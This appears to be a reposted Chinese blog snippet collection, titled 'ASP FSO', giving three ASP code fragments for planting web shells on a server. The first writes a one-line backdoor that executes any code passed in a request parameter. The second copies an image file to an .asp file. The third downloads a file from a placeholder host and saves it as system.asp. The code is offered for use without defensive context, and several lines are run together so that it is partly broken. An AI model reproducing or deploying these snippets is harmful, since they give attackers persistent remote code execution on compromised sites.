ASP FSO



1.FSO生成一句话代码


<%
Dim Content,Fso,Fout
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("../123.asp")) 
Fout.WriteLine"<script language=VBScript runat=server>"
if request(chr(35))<>"""" 
then
Fout.WriteLine"response.clear" 
Fout.WriteLine"ExecuteGlobal request(chr(35))" 
Fout.WriteLine"end if" 
Fout.WriteLine"</script>" 
Fout.Write Content 
Fout.CloseSet 
Fout=NothingSet 
Fso=Nothing
%>




2.FSO复制文件代码


<% 
TempSource=Server.MapPath("/921196360.jpg") //源文件
TempEnd=Server.MapPath(folder&"../4040.asp") //目标文件
CopyFiles(TempSource,TempEnd)   
Function CopyFiles(TempSource,TempEnd)
Dim FSO 
Set FSO =Server.CreateObject("Scripting.FileSystemObject")
IF FSO.FileExists(TempEnd)
then
Response.Write"目标备份文件 <b>"& TempEnd &"</b> 
已存在,请先删除!"
Set FSO=Nothing 
Exit 
FunctionEndIF
IF FSO.FileExists(TempSource)
Then
ElseResponse.Write"要复制的源数据文件 <b>"&TempSource&"</b> 不存在!"
Set FSO=Nothing Exit 
FunctionEnd
If FSO.CopyFile 
TempSource,TempEnd Response.Write"已经成功复制文件 <b>"&TempSource&"</b> 到 <b>"&TempEnd&"</b>"
Set FSO =NothingEndFunction
%>




3、XMLHTTP 无FSO用到的下载文件代码


<%
Set xPost =CreateObject("Microsoft.XMLHTTP") 
xPost.Open"GET","http://www.xxxxx.com/921994421.jpg",False 
xPost.Send()
Set sGet =CreateObject("ADODB.Stream") sGet.Mode=3 
sGet.Type=1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFileServer.MapPath("../system.asp"),2
set sGet =nothing
set sPOST =nothingresponse.Write("下载成功!")
%>

猜你喜欢

转载自blog.csdn.net/jihaichen/article/details/80193591
ASP